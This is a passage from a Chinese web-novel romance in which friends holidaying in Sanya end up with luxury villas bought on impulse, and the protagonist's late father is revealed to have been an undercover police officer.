陈则眠想了想:“这边晚上的夜生活没有京市丰富,要是睡不着,就只能在海边溜达溜达了。” 陆灼年:“我自己吗?” 陈则眠很好心地说:“我可以陪你一起。” 陆灼年拉开窗帘,看着窗外的天空:“我后天过去。” 陈则眠奇怪地‘嗯’了一声,拿起手机日期:“后天是十三了吗?” 陆灼年:“十二。” 陈则眠诧异道:“我怎么记得萧少说你们是十三过来?” 陆灼年面不改色地污蔑萧可颂:"他记错了。" 陈则眠说:"太好了,等你们来,萧名兀应该就能回去了。" 陆灼年语气很随意:“是的,我也想你离他远点。” * 纵然陆灼年是爽文男主,也不可能事事如愿。 比如在希望萧名兀远离陈则眠这件事上。 他虽然笃定萧名兀就算像只孔雀一样疯狂开屏,陈则眠的注意力也只会在他羽毛有几个圆圈上。 但陆灼年所担心的,也正是陈则眠这种‘流氓在他面前脱了裤子,他还想着和人比大小''的迟钝劲儿。 果不其然,第二天萧可颂又把萧名兀领到商场,萧名兀陪着转了一圈以后,随手把自己的黑卡给了萧可颂,带着陈则眠、闫洛和薛铎就上楼看电影去了。 四个人看得一场电影,座位是连着的。 这在陈则眠看来没啥可暧昧的,但薛铎仍然是非常够意思,主动坐在靠近萧名兀那边的座位,硬生生把陈则眠和萧名兀隔开。 萧名兀只笑了笑,并没提出反对意见。 他心眼多得像只狐狸,只是在电影开场后轻轻摸了下薛铎的手,就把薛铎吓跑了。 薛铎猛地窜出影厅,后背上寒毛倒竖,心说这可是这真奇怪,他平时和兄弟们勾肩搭背、搂搂抱抱都很正常,别说是碰个手了,就是光着身子抱在一起都没这么别扭。萧名兀手上怎么就跟带电似的,一摸就摸的人全身难受。 也是牛逼。 对不起了陈则眠,虽说作为兄弟我应该保卫你的屁股,但也不能为了你的屁股不要我的屁股。 你自求多福吧。 阿弥陀佛。 陈则眠看了眼跑出去的薛铎,低声问离薛铎最近的萧名兀:“他咋了?” 萧侈兀一副很温和负责的大家长模样:“不知道,我出去看看?” 陈则眠手机弹出消息提醒,打开一看正是薛铎发的:“哦,他说他肚子疼,回酒店躺着去了。” 萧侈兀没再说话,就很平常地看完了一场电影,即便薛铎走了,他也没有坐到陈则眠身边去,刻意拉开距离,界限划分甚至超出了普通朋友。 陈则眠非常好骗,完全没有想到这就是传说中的欲擒故纵,反而从这个细节判断,萧名兀可能对他没意思了。 薛铎听后则是晴天霹雳。 完了,对陈则眠没意思了,不会是变成对他有意思了吧!!!!! 不要哇,不要搞我哇。 薛铎愁眉苦脸的状态,一直持续到晚饭。 晚餐时,几个人一起商量明天去哪儿玩。 鉴于萧名兀的良好表现,萧可颂决定明天不去商场了。 萧名兀好脾气地对自家大侄子说:“你想去哪儿就去哪儿,我就听安排就好。” 萧可颂拍板定调:“去亚龙湾森林公园。” 亚龙湾公园属于海岸型热带雨林,古老神秘,草木蓊郁。 各色珍稀植物争奇斗艳,风中有股说不出的清香。 五个人登高远眺,只见青山碧海交相辉映,风景如诗如画,尘世间所有烦忧在浩然天地间都渺如纤尘,微不可提。 山顶风景虽好,但爬山的过程又累又热。 好在景区一进门就有扇子的,二十五块钱一把,萧可颂讲了半天价,用一百块买了五把纸扇。 一人一把拿着扇,倒是也很是潇洒。 薛铎抱臂靠着凉亭立柱,飘逸得像一个侠客。 长风吹动衣摆,发丝额角轻飘,薛铎手握刚买的折扇,临风自照,觉得自己帅极了,从包里拿出单反,喊陈则眠来给他拍照。 陈则眠把这扇往腰后一插,自信满满,成竹在胸,很专业地半蹲着,举起单反从下往上拍。 “保证给你拍个大长腿出来”“帅的帅的帅的。”“出片,太出片了。”“扇子打开,做扇风的动作。”“转身,再转身。”“这张太帅了。”“对,手再举高点。”“国际超模。”“绝了绝了,这张绝了。” 陈则眠咔嚓咔嚓一顿连拍,情绪价值给得非常到位,指挥着薛铎摆了二百多个造型。 薛铎拿回单反一看—— 成功对焦的照片数为0张。 薛铎:“……” 陈则眠用折扇挠了挠下巴:“不会用你这高级玩意,我拿手机给你拍吧。” 薛铎一字一顿道:“你、的、意、思、是、我、要、再、摆、一、遍、动、作。” 陈则眠无辜地看着他:“你刚才不是摆得挺陶醉吗。” 薛铎舔了舔后槽牙,气笑了:“陈则眠,如果不是打不过你,我现在真想揍你两拳。” 陈则眠不屑地轻轻‘切’了一声:“干嘛揍我,不会用单反犯天条吗?” 薛铎连删二百多张废片,删到快犯腱鞘炎:“不会用单反不犯天条,你跟真事似的拿着单反摆弄我就有点过分了吧。” 陈则眠还没来得及狡辩,突然身后听到有脚步声传来。 一只修长白净的手突然出现,拿走了薛铎手里的单反。 陈则眠和薛铎同时回头。 萧名兀看了眼相机里模糊扭曲照片,轻笑了一声:“我给你拍吧。” 薛铎瞳孔微不可察地缩了缩:“不用了,陈则眠拍得也挺好,我去那边买杯咖啡。” 说完,薛铎连落荒逃窜,连单反都没拿就跑了。 陈则眠看着薛铎的背影:“他咋了?” 萧名兀举起单反相机,镜头对准陈则眠:“不知道,恐同吧。” 陈则眠忍俊不禁,弯眼笑了一下。 萧名兀按下快门键,低头看了眼相机:“好看。” 陈则眠过去看了一眼:"厉害啊,跟杂志封面似的,你这摄影技术也太牛了。" 萧名兀笑了笑:“是你长得好。” 萧可颂强势地挤进二人中间:“我看看。” 萧名兀彬彬有礼,后退半步让出位置,把单反递给萧可颂。 这么一来,反倒显得萧可颂有些小题大做。 萧可颂不管那些,揽着陈则眠肩膀直接把人带走:“你看,那边有很多漂亮的小木楼。” 那些小木楼的建筑风格,和射击场旁边的民宿有几分相似。 闫洛也看过去,说:“还真是很像。” 陈则眠拍了张很糊的照片,随手发给了陆灼年。 “我喜欢这里。” 萧名兀突然开口。 陈则眠手一抖,差点没把手机扔下山崖。 回头看了看,发现萧名兀站得很远,而且是面朝大海的方向,怎么都不可能瞥到他的手机。 “做贼心虚,”萧可颂站在观景亭坐板上,居高临下,将刚才的一幕尽收眼底,他蹲下身,低头审问陈则眠:“给哪个小姑娘发微信呢。”陈则眠给萧可颂看了眼手机屏。 萧可颂一看到备注的[陆少]两个字就觉得没劲,完全不在意两个人在聊什么,转身又到另一边看风景去了。 清风拂面,心旷神怡。 "依山傍海,真是个好地方。" 萧侈兀沉吟片刻,忽地用折扇一敲掌心,宣布道:“我要在这里买套房!” 众人:"???"萧侈兀并非心血来潮。他行动力极强,出了亚龙湾公园,直接转进山下别墅区。房产销售看到气质高贵的萧名兀眼睛发亮,恭恭敬敬把人请进了VIP接待室。萧可颂又不买房,才不会把时间耗在这里,看到地图上不远处就是商业中心,拿着萧名兀的黑卡就走了。他不仅带走了卡,还带走了陈则眠等人。 陈则眠他们刚到商场没一会儿,萧侈兀就给萧可颂打了个电话。萧名兀淡淡道:“看样板间需要验资,能把我卡送回来吗大侄子?”萧可颂刚约了个密室逃脱,懒得折腾:"我给你叫个跑腿吧。"萧名兀气笑了:“你知道那张卡20万以下能免密支付吧。” ……"萧可颂不想自己去,看了看身边几个人,把卡递给薛铎:“你去吧。”薛铎立刻说:“我不去。” 陈则眠看出薛铎最近有点躲着萧名兀,就说:“我去吧。”萧可颂不放心:“不行!你最好不要和他单独相处。”陈则眠说:"那没别人了萧大少,不然让闫洛去吗?"闫洛不明所以:“我可以去啊。”萧可颂一看闫洛满脸天真的样子,更不放心他去。这位还没成年呢! 犹豫再三,萧可颂在自己送和不送之间,选择了让陈则眠送。 毕竟陈则眠那么能打,他小叔要真做了不该做的事,大不了就是被打一顿呗。 从某个角度来看,萧可颂拼命隔开萧名兀和陈则眠,一方面是保护陈则眠,一方面也是在保护他小叔。 “最好不要打太狠,”萧可颂把卡递给陈则眠的时候交代了一句,但又补充道:“主要还是看你自己,我只是提个小小建议。”陈则眠接过卡,转身走向停车场,潇洒地摆摆手:“玩你的吧,我看你小叔就是逗你,最近都没再找我了。”薛铎默默道:“如果你觉得岁月静好,说不定是有人替你在负重前行。” * 珑湾别墅走的是高端路线,售楼处建得金碧辉煌,VIP室更是嵌玉镶金,极尽豪奢。 大堂内,萧名兀起身接过陈则眠接过的卡,笑道:“这个萧可颂,怎么还把你派来了,我原本是叫他来的。” 陈则眠说:"萧少约了场游戏,一时走不开。" 萧名兀语气温和:“好吧,一事不烦二主,既然你来了,能不能再帮我个忙?” 陈则眠看向萧名兀:“什么事?” 萧恪兀说:“我有意在这边买套别墅,叫可颂过来,也是想让他一起参谋参谋,不想来的却是小陈先生,只能烦请您替我掌眼了。” 陈则眠讶然道:“啊?可我从没买过房子,更别说别墅了,真不是推脱,我确实看不懂啊。” 萧名兀不以为意:“凡事都讲究一个缘分,只要看着合眼缘就好。” 陈则眠想了想:“要不我给你找个中介?” 萧名兀笑着摇摇头,娓娓道来:“你在盛庭华府住了那么久,没买过也见识过了,那套楼虽然低调,但住起来的舒适程度可不亚于豪门府邸,最适合独居不过,可见小陈先生是会享受的。" 陈则眠说:"我也是蹭陆少的房子,那边确实住着挺舒服的。" 萧名兀意有所指:“一户难求的单身私宅,陆少爷一个人就购入了四户,这位小太子爷的作风,还真是一如既往地霸道。” 说话间,销售验过资产,引着二人往样板间走去。 袅袅青烟自紫金香炉中升起,满堂皆是沉檀香气,盛着茶水的茶杯精致得像工艺品,连沙发靠枕都绣着光辉艳丽的团龙黎锦。 陈则眠随手翻着户型图。 销售慢声细语,不疾不徐地介绍着别墅区的户型、位置、商圈、单价、优惠政策。 萧名兀挺拔微微颔首:“还不错。” 当然不错,亚龙湾山麓,紧邻商圈,交通便利,建筑风格前卫,弧形线条与灯带配合完美,景观设计独特,充满艺术感,每栋别墅都配备了单独的观光电梯,前可看海,后可观山。 开放式的起居空间尽显豪奢,更别提还配置了真火壁炉、恒温酒窖、影音室、定制化车库……最引人注目的,还是那独一无二的无边泳池。 连样板间的家具都是红木的!是真红木吗?这雕花好精美。陈则眠忍不住伸手摸了摸沙发靠背。 销售轻呼一声:“先生,请勿触碰!” 陈则眠和萧名兀同时看向销售。 销售不自觉后退半步,解释道:“这套红木家具是由著名大师亲手打造的,是样品,价格昂贵,不可以随便触摸的。” 萧名兀收回视线,语气不咸不淡:“我好像没有看到请勿触碰的牌子。” 销售:“这……” “不让碰又何必摆到样板间,应该放到玻璃柜里供起来,”萧名兀若无其事地转过身,对房产经纪人抬了抬下巴:“换一个销售来。”珑湾别墅的豪宅最便宜的也要4500万一套,如果能卖出去,仅0.5%的提成都要二十万起步。难得来了一位买主,验资都验过了,看房人也很有购房意向,结果却因说错一句话眼看二十万泡汤,任谁都很难接受。做这种豪宅的销售本就是一年不开张,开张吃一年,这笔单子签不成,下次又不知道要等到什么时候。销售都快哭出来了,不住地躬身道歉:“对不起萧先生,那套家具不让碰是公司规定…”萧名兀直接跟房产经纪人说:“把她总经理叫来,我倒要问问他们经理,这么大一个项目,连套破家具都损耗不起吗?”听到这话,销售眼睛霎时红了。 陈则眠忍不住开口道:“算了吧,萧总,红木家具本来就挺贵的,人家好心提醒,也没有恶意。” 萧名兀看着陈则眠笑了笑:"我也没有恶意,只是想买套合心意的房子。" 说话间,新换的销售已经到了,她看到同事红着眼圈,心中猝然一惊,以为遇到了很难说话的买主,紧张地小跑过来。 “您好萧先生,我是您的置业顾问刘姻,您就叫我小刘就行。”新来的顾问说。 萧名兀点点头,把卡递过去:"12栋和16栋这两套,全款,开单吧。" 刘姻倒吸一口凉气,抖着手接过黑卡,猛猛给这位财神爷鞠了一躬:“先生这边请!我带您办一下手续!” 萧名兀低声对陈则眠说:“你坐这儿稍等我一会儿。” 陈则眠点点头。 萧名兀转身跟刘姻去办手续。 销售总经理到的时候,正看到刘姻满面春风,殷勤地引着大客户往财务室走。 在来的路上,总经理已经了解过前因后果,见没有影响项目出售,便只冷冷看了原先那个销售一眼。 陈则眠见样板间没坐的地方,就想去外面等候区坐沙发。 还没迈腿往出走,销售总经理一个箭步冲上来。 “您坐您坐您坐您坐。” 销售经理一连说了四个‘您坐’,连拉带拖地把陈则眠按在了红木沙发上:“这沙发就是给您坐的。” 陈则眠:“……. 如果真是样品不让碰也就算了,这前倨后恭的样子更可气。作为一个打工人,陈则眠几乎可以确定,‘红木家具不让碰’之类的话,肯定是有领导交代过的。销售小姑娘胆子小,遇事反应又没那么快,说话却又有不到之处,才受了这顿委屈。 其实说到底还是太老实、太讲规矩,换了那胆大机灵的,谁管你摸不摸,把房子卖出去才是要紧。 那套家具摆在那儿,成日里人来人往,就算真有磕了碰了,谁又知道是谁弄的?哪怕是有人较真查了监控,能不能看出来谁碰到的都不一定,况且只要不是她弄的,就算是她带的客户,也总有说辞糊弄过去。 年轻、不够圆滑、胆子又小,总要吃点亏才能学会职场生存这一套。 陈则眠坐在红木沙发上,看了眼陪笑的总经理,本想怼他一句‘不是请勿触碰吗?''。 但他转念一想,自己把气出在总经理身上,总经理回了办公室就得把销售叫过去骂,最后倒霉的还是他们这些员工,就什么都没说。 陈则眠懒得听总经理啰唆,直接戴上耳机,拿出手机叫陆灼年一起打游戏。 萧名兀交完钱,很快就回来了。 看到陈则眠坐在那张红木沙发上,眼中划过一丝微不可察的笑意。 刘姻手上捧着两份合同,眼冒金光地问:“萧先生,这是两份合同,请您过目,没问题的话就可以签了。” 萧名兀随手拿过一份,放到陈则眠面前:“签吧。” 陈则眠摘下右耳耳机,缓缓抬起头。 "???" 萧名兀淡淡一笑:"顺手给你买了一套,多见见世面,就不会觉得红木贵了,小陈先生。" 陈则眠:"!!!" 剩下的那一只耳机里,突然传出陆灼年的声音:“买了套什么?” 54、第54章... 陈则眠还回答,又听到耳机里陆灼年继续道: “一套岭南的别墅算什么世面。” 陆灼年声音没什么温度,不轻不重地说: “儋州,自古以来的流放之地,从容豁达的苏轼去了都要哭一声‘白须萧散满霜风'',在那边能见到什么世面?” 陆灼年的嘴虽毒,却鲜少讲这样刻薄的话,可见他对萧侈兀的意见着实不小。 陈则眠不自觉抿了抿嘴唇,忍笑忍得辛苦。 萧名兀看到陈则眠神情变化,眸光落在他耳侧的耳机上:“你在打电话?” 陈则眠:"打游戏,队内语音。" 萧名兀似笑非笑:“是陆灼年?” 陈则眠点点头,应了一声:“嗯。” 陆灼年听到萧名兀的声音,又说了一句什么,并要求陈则眠转达给萧名兀。 这句话更过分,陈则眠听完轻咳一声,低下头压低声音:“这不好吧,陆少。” 陆灼年态度坚决,惜字如金:“说。” 陈则眠硬着头皮看向萧名兀:“萧总,陆少有话跟你说。” 萧名兀态度斯文随和:“洗耳恭听。” 陈则眠努力表现得像一个无情的传话机器,不带任何感情色彩地转述道—— “陆少说他就是世面,让我看他就行。” 闻言,萧名兀非但不恼,反而扯了下唇,低笑了几声。 陈则眠把桌面上的购房合同推给萧名兀,拒绝道:“萧总的好意我心领了……” 耳机里,陆大少又发话了,命令道:“要。” 陈则眠呆了呆,还没说出口的话卡在喉咙中,不可置信的‘嗯’了一声。 陆灼年语气淡淡:“他愿意给你就收着,可以卖了捐给需要的人。” 陈则眠犹豫了一下,抬头问萧名兀:"可以卖掉吗?" 萧名兀颔首笑道:“随你处置。” 陈则眠没想到自己只是出来送趟银行卡,结果莫名其妙多了套房产。 整个人处在一种晕乎乎的状态中。 萧可颂玩完密室逃脱也来了售楼处,发现自己错过了一套别墅,追悔莫及,跟在萧名兀身后‘小叔长,小叔短’,连问了好几遍:“送房的活动现在还有吗?”萧名兀说:“没了,一天内连刷两笔大额消费,银行都给我打电话了。” 萧可颂仍不死心:“明天呢?” 萧名兀淡淡道:“看心情。” 陈则眠还没有签合同,闻言把笔递给萧可颂:“那给你吧。” 萧可颂不喜反怒,瞪了陈则眠一眼:“我穷疯了抢你东西,陈则眠你不要太离谱!” 陈则眠刚问了这边物业费是一平方米12元,算了下每年交好几万物业费简直贵死,有点犹豫要不要签合同。 萧可颂握着他的手,恨铁不成钢道:“快签吧!几千万的房子白给你,你还在这里抠几毛钱的物业费!” “不是几毛是12块啊,而且平米又那么大。”陈则眠小声嘀咕道。 游戏里,双人队伍内的语音还没有挂断,陆灼年没有再说话。 耳机内只有浅浅的呼吸声,彰显着无处不在般的存在感。 陈则眠按了下耳机:“真的要签吗?” 萧可颂以为陈则眠在跟他说话,立刻说:“不签白不签啊!” 陈则眠轻轻咳嗽了一声。 陆灼年这才说:“在问我吗?” 陈则眠:“嗯。” 陆灼年轻笑:“签吧,有人送你东西是好事,记得和人家说谢谢。” 陈则眠犹豫再三,和萧名兀说了谢谢,然后才提笔写下了第一个名字。 签购房合同的手续非常繁琐,陈则眠签名签到手痛,虽然电话那头陆灼年提醒他看看是什么在签,但他签到后面头昏脑胀,想着这些东西反正都有萧可颂看过,怎么也不会让萧伯兀把他卖了,就只是口头答应得痛快,笔下签字签得更加痛快。 萧可颂看东西过眼不过心,在一旁主要起到了一个帮忙翻页的作用,倒是薛铎逐条阅读过陈则眠签的那些东西,觉得没问题才递交上去。 闫洛则是早就出了售楼处,到景观园林里看孔雀去了。 "明年再来三亚,就可以住在陈则眠的别墅里了!" 萧可颂比自己得了套房子还高兴,直接在户型图上挑起了房间:“我要主卧旁边这间!” 陈则眠犹豫了一下:“这间……” 耳机内外同时出来一句话—— 陆灼年&萧可颂:“这间怎么?” 陈则眠不自觉轻咳一声:“这间我想留给陆少。” 陆灼年大度道:“给萧可颂吧,不然他又要闹了。” 萧可颂果然开始闹了,摇着陈则眠问:“为什么要留给灼年,他有洁癖又爱安静,应该给他最顶层这间!” 陈则眠被摇得头晕:“好吧,好吧,给你给你给你。” 萧可颂很够意思,还记得要给闫洛留一间,喊院子里的闫洛进来选房间。 闫洛转头看向陈则眠:“也有我的吗?” 陈则眠说:"当然了,快选吧,一会儿都让萧少安排完了。" 闫洛选了最角落里小小的一间,指着户型图问“我可以要这个吗?” 陈则眠在户型图相应位置写了个‘洛''。 萧可颂还没忘自己最好的兄弟,又替叶宸挑了一间。 萧伯兀看着萧可颂在北边卧室写了个‘叶’字,突然开口道:“我记得他好像容易长湿疹,不能住阴面。” 萧可颂笔尖顿了顿:“对哦,那给叶宸放哪里合适。” 陈则眠说:"把顶层阳面这间给他。" 萧可颂:“那灼年住哪里?” 陈则眠迟疑不决:“呃……” 耳机里,陆灼年也问:“是啊,那我住哪里呢,陈则眠?” 陈则眠耳廓无端发烫,也不知道在回答谁:“我可以把主卧让给陆少。” 陆灼心情似乎变得很好,又笑了一声。 萧可颂大吃一惊:“你自己的房子你把主卧给陆灼年?!” 陈则眠说:"好的要给陆少住。" 萧可颂挣扎很久,最终还是把主卧旁边的房子让了出来:“算了,这间我先不要了,等明天叶宸和灼年到了,大家再一起挑吧。” 办完手续,陈则眠推开观景台的玻璃门,找了个安静的角落和陆灼年通话。 他不明白陆灼年为何会让他收下别墅,明明几朵花都要挂怀许久,怎么几千万的房子反倒无所谓了呢。 陆灼年说:“你比玫瑰贵重,他送花来追你,我觉得不够诚意。” 陈则眠微微一蜷,愣了愣: "所以……送房子就有诚意了吗?" 陆灼年反问:“你觉得他有诚意吗?” 陈则眠实话实说:“我都没感觉出来他在追我,只感觉到了他在炫富。” 陆灼年先是沉默几秒:“既然他跟你炫富,那给你什么你就收着,萧名兀有钱,五千万对他来说算不了什么。” 陈则眠挠了挠下巴: "真是的,他自己都那么有钱,还说你买四套别墅的行为霸道。" 陆灼年淡淡道:“因为我比他有钱。” “………” 陈则眠站在观景台上,鸟瞰整个别墅区,转眸间余光一瞥,恰好瞧到之前的那个销售,正在楼下小花园里抹眼泪。 两套别墅优惠完还要一个多亿,五十万的提成说丢就丢,搁谁谁不哭。 陈则眠轻轻叹了口气。 陆灼年听见他叹气,问他怎么了,陈则眠就把红木家具那事跟他说了,陆灼年了解完前因后果,看法与陈则眠一致,都认为这个小姑娘讲话虽然欠妥,但也确实有委屈之处。 陈则眠说:“看到她哭,我就想起我刚上班的时候,心里还挺难受的。” 陆灼年说:“那让她别哭了。” 陈则眠忍不住笑了一下:“你是龙王爷吗?既管晴天,又管下雨,还能管女孩子流不流眼泪。” 陆灼年想了想,说:“你把电话给她。” 陈则眠警惕道:“你不会又要说什么五十万提成不算啥,让她多看看你见世面之类的话吧。” 陆灼年低笑两声:“我倒也不用那么多人看,你让她接下电话,我有办法让她不哭。” 陈则眠说了句‘等会儿'',然后拿着手机下了楼。 销售看到陈则眠过来,下意识要想避开,但又怕客户转头去投诉。 她站在原地僵了两秒,咬了咬嘴唇。 这是她得罪不起的客户,为了保住饭碗,她应该去跟对方道歉。 销售红着眼快步小跑过来,讷讷地鞠了一躬。 陈则眠实在不会哄女孩子,尤其是流眼泪的女孩,只能按陆灼年所说,把手机递给销售,温声说:“我朋友想和你说几句话。”销售犹豫两秒,忐忑地接过手机,以为自己又要挨骂。 她把手机放到耳边,紧张到大脑空白了一瞬,在听到对方声音的时候第一反应不是去听内容,而是感叹这个人音色好好听。陆灼年开门见山,销售听过他的话,眼睛缓缓瞪大—— “楼王?您要买我们项目的楼王?” 陈则眠:“????” 销售立刻应道:“好,我现在就把公司汇款账户发到您邮箱,那个总价是……哦,好好好,和您朋友说一声就行是吧。”她的声音刚开始还有点哽咽,说着说着便越来越流畅,业务熟练地和陆灼年敲定购房细节: “购房需要本人在场,您什么时候有时间来……啊?您不在三亚,那可以先交定金,等您方便……什么?您不来了,把房写到您朋友名下?!”半分钟后,销售讲手机还给陈则眠:“您朋友让您听电话。” 陈则眠背过身,压低声音问陆灼年:“你从这儿买房子干嘛啊!”陆灼年云淡风轻地反问:“她是不是不哭了。” “……”几句话的工夫就获得了上百万提成,再被工作打击得在体无完肤,也能立刻站起来重新做人了。陈则眠已经被有钱人投掷千金的行为搞到价值观错乱,居然说了一句:“那也不用买楼王啊,随便买一套就好了。”陆灼年用陈述的语气说:“我只要最好的,陈则眠。”陈则眠梗了梗:"可这也太草率了,你都没来看过,怎么知道是最好的。"“你看过就行了,”陆灼年顿了顿,继续道:“萧名兀这个人虽然不怎样,眼光却很好,他看上的怎么可能会差。”陈则眠表示赞同:“这里真的很美,你来了也会喜欢的。”陆灼年应了一声:"嗯,我想我也会喜欢。"这套楼王在珑湾别墅最佳的位置,视野开阔,风景极佳,面积宽敞得像一座庄园,坐落在整个别墅区的最高处。价格当然也是最高。项目总经理亲自来和陈则眠谈的价格,赠了旋转车位、赠了无边泳池、赠了园艺花卉,打完折后抹了零。 最后总价不多不少,刚好两个亿。陈则眠给陆灼年报价的时候,数了两遍零才把数发过去。陆灼年很快把购房款达到了指定账户,陈则眠又走了一遍购房流程,签字签到手腕疼。 萧名兀仿佛对陆灼年的霸道作风早有预料,彬彬有礼地和陈则眠道了恭喜,说:“我这也算是抛砖引玉了,小陈先生。” 薛铎和萧可颂已然呆住,对视了一眼不知道该说些什么。 那可是两个亿啊!!! 陈则眠签合同签得手忙脚乱,为了早点签完回去,薛铎和萧可颂两人俨然成了专用秘书,分别坐陈则眠左右两边,一个帮他翻合同,一个帮他递印台。两位豪门大少竟然伺候起狗腿小弟来。 简直是倒反天罡。 合同这玩意签多了大脑都麻木了,等签完字回到酒店,陈则眠才恍然回过味儿来,琢磨出一点不对劲。 他又给陆灼年打了电话—— “不对啊,你明天就过来了,合同自己就能签,为什么还要写到我名下啊。” 陆灼年不动声色,有理有据:“不想签那么多字。” “那可是两个亿啊!”陈则眠痛心疾首:“这房子这么贵,将来过户费老高了。” 陆灼年了解房产税收费政策,认可了陈则眠所言非虚:“过户费用确实很高,那就在你名下先放着吧。” 听到这离谱的结论,陈则眠一时竟不知该从何反驳。花两个亿买楼王眼也不眨,转头又觉得过户费高?这也太抽象了吧。 陈则眠嘀嘀咕咕:“你就不怕我偷偷把房子卖了,然后卷款潜逃?”陆灼年意有所指:“陈则眠,你逃不了的。”这话说的没错。谁偷了陆大少的东西还能跑啊。于是陈则眠也不纠结了,他洗了澡躺回床上,问陆灼年打不打游戏。陆灼年说还有点事,让陈则眠和萧可颂他们先玩。陈则眠把平常玩的号借给薛铎了,这次登的是管理员账户。 【系统消息:‘不会射击还能干什么''在线中。】 * 与此同时,在游戏上蹲点蹲了一周的孙局,终于又逮到了那个[不会射击还能干]。 孙局立刻联系秘书长:“鱼已上线。” 秘书长转头把电话拨给值班网警,要求定位[不会射击还能干]的IP地址,并核查其身份是否属于警察队伍。 网警查阅之后说:“他本人不是,但家里有人是警察。” 秘书长问:“是谁?还在职吗?” 网警说:“我没有权限查看他家属的信息。” 秘书长有些诧异:"发过来来我看看。" 半分钟后,秘书长的内网邮箱内出现一条链接。 这个游戏ID的主人名叫陈折。 主要家庭成员一栏里,父亲是空着的,母亲的名字是江羡鸢(已故)。 看到这个‘鸢''字,秘书长心头一突,总觉得有种莫名的熟悉。 出于职业敏感,他打开公安内网,搜索了江羡鸢这个名字。 内网系统缓慢加载,半分钟后,跳转出一个身份核验弹窗。 秘书长的内网权限极高,连他都要核验身份才能看的信息只有…… 绝密级档案! 看到这里,秘书长突然心跳加速,心中隐约浮现一个猜想。 核验身份后,江羡鸢档案出现在电脑屏幕上。 秘书长瞳孔猛地一缩,当即拿起档案,冲进了孙局办公室。 孙局正在抽烟,看他拿着档案进来:“查到那小子信息了?哪个分局的?” 秘书长:“孙局,他不是公安干警。” 既然不是警察内部的,孙局也懒得管这闲事,就说:“哦,那算了,别人家的事咱不管着,爱谁谁吧。” 秘书长声音又干又紧:"也……也不是别人家的事。" 孙局听出秘书长声音有异,掀开眼皮看了他一眼:“嗯?” 秘书长虎目微红,颤抖道:“孙局,他是轻羽的儿子。” 孙局夹着烟的手指陡然一抖,整个人震了震:“谁?” 秘书长深吸一口气,沉声说:“轻羽,陈轻羽。” 55、第55章... “他父亲本名叫陈轻羽,二十年前通过公安系统选拔,成为一位卧底人员,代号[南峰]。” 京市,陆宅。 代理人将一叠资料推给陆灼年,继续道: “卧底期间,他化名为陈南峰,潜伏在京市最大销金窟——瑶台阆苑夜总会,收集非法药品交易情报。”二十年前的瑶台阆苑案轰动一时,是扫黑除恶专项斗争中的重案要案,涉及人员牵连甚广,十数位官员相继落马。案件所涉罪名除了非法药品交易,还有组织卖.淫、强迫卖.淫、聚众淫.乱、故意伤害、故意杀人、开设赌.场、强迫交易、行.贿受.贿等十余项罪名。那时陆灼年才刚刚出生,对这桩旧案几乎全无了解,只能从代理人口中隐约窥见些当年的血雨腥风。案件告破不易,作为此案最大的功臣,陈轻羽的个人信息,受到了最高级别保护,调查起来可谓是大费周折。但世上没有不透风的墙,经过大半个月的探查,代理人最终还是通过一张模糊的旧照片,锁定了陈折父亲的身份。 “陆少,您这位叫陈折的朋友并非私生子,生父信息不详是对他的保护。” “整个公安系统对他的保护。” “陈折这些年没少调查过他父亲的事情,但以他的人脉,还查不到陈轻羽这层,只隐约知道父亲叫陈南峰,是 一个高端夜总会的马仔,跟许多风流浪荡的二代公子交集颇深。” 听到这儿,陆灼年手指微微一动。 如此一来,代理人也不禁怀疑,陈折接近陆少等人,会不会就是为了查他父亲的事情? 不愧是警校优秀毕业生的儿子,就算没受过一天专业训练,还是凭借自己的本事混进了二代圈。 而且如果他是想借这些人的手,来调查自己的父亲,他甚至已经成功了。 陆少替他把这件事做成了。 所以他是……利用了这位太子爷?!!! 这话代理人就算想到也不敢直说,只能旁敲侧击地提醒道:“陆少,这么说来陈折和他父亲倒有些相像,都是能说会道,八面玲珑。” 陆灼年听出了代理人的言外之意,但他并不在意这些。 只是觉得陈折也很不容易,这么多年以来,竟一直在暗中寻找生父。 偏偏他的父亲又是一名卧底警察,以陆灼年这样手眼通天的权势来查,都查了将近一个月,才隐约得到些许信息。 陆灼年放下资料,看向代理人:“你能查到这些很不容易。” 代理人当即卖了个功劳:“嗬,可不是吗!您可不知道为了搞到这些消息,搭了我多少人脉进去,才勉强查到这些,至于案件细节,以及陈南峰在卧底期间的经历,还要多点时间才能见些眉目。” 陆灼年语气平静:“辛苦了,佣金我会翻倍给你,但你必须保证,这些信息除了你我,不能再第三个人知道。” 代理人连连点头,说:“那是一定,这是我们最基本的职业素养,只是……” 陆灼年眼眸倏然抬起:“只是什么?” 代理人压低了声音:“除了我之外,好像还有其他人也在查[南峰]的消息。” 陆灼年眸光一暗:“什么人。” 代理人摇摇头:“这个很难说,但距离瑶台阆苑案审结宣判,已经过去了近二十年,其中除了已经枪毙的那些人,其他判死缓、判无期的,就算有限制减刑的条件在……可能也快出来了。" 陆灼年手指无意识地轻敲桌面,思索道:“这件事我会留心,多谢提醒。” 代理人说:“陆少客气了,不过你可以放心,就算他们查到陈轻羽身上,也没那么容易查到陈折。” 陆灼年缓声问道:“怎么说?” 代理人说:“陈折的母亲名为江羡鸢,由于身份特殊,很少有人知道她是陈轻羽的女朋友。” “在执行任务期间,陈轻羽一定秘密见过她,可能是一次,也可能是几次。” "从原则上来讲,这是违反纪律的。" 说到这里,代理人充满善意地笑了笑:“可陈轻羽那时候才23岁,还是个小伙子,怎么能按捺住不去见心爱之人呢。” “陈轻羽非常谨慎,他和江羡鸢的事情,最开始连公安内部都没有发现,自然也避过了那些人,他们查不到江羡鸢身上,也就不可能查得到陈折。” “随着卧底计划的深入,陈轻羽逐渐开始接触瑶台阆苑背后的核心人物,受到重用后,他行踪不再那么自由,为了保护江羡鸢不被发现,陈轻羽就再也没见过她。” “可他不知道江羡鸢怀孕了。”"到死都不知道。"*陆灼年彻夜难眠。该怎么和陈则眠讲他父亲的事情呢?好像无论如何说,都没办法让陈则眠不那么难过。以陆灼年对陈则眠的了解,他若知晓了父亲的身份,定然不会止步于此,反而会想法设法查清当年之事。这其中的谜团太多了。 陈轻羽是谁选定的卧底?任务期间又和谁产生了接触?他得到了什么情报?情报又传给了谁?最后是如何暴露的?是否遭遇了出卖?为什么支援没有及时赶到?他究竟是怎么死的?是谁杀了他? 不把这些过往调查清楚,陈则眠绝不会罢休。 陈则眠向来有仇必报,是有气憋不到隔夜的性格 除非杀父之人已死,否则他一定会想办法替父亲报仇。 然而这场仇恨是双向的。 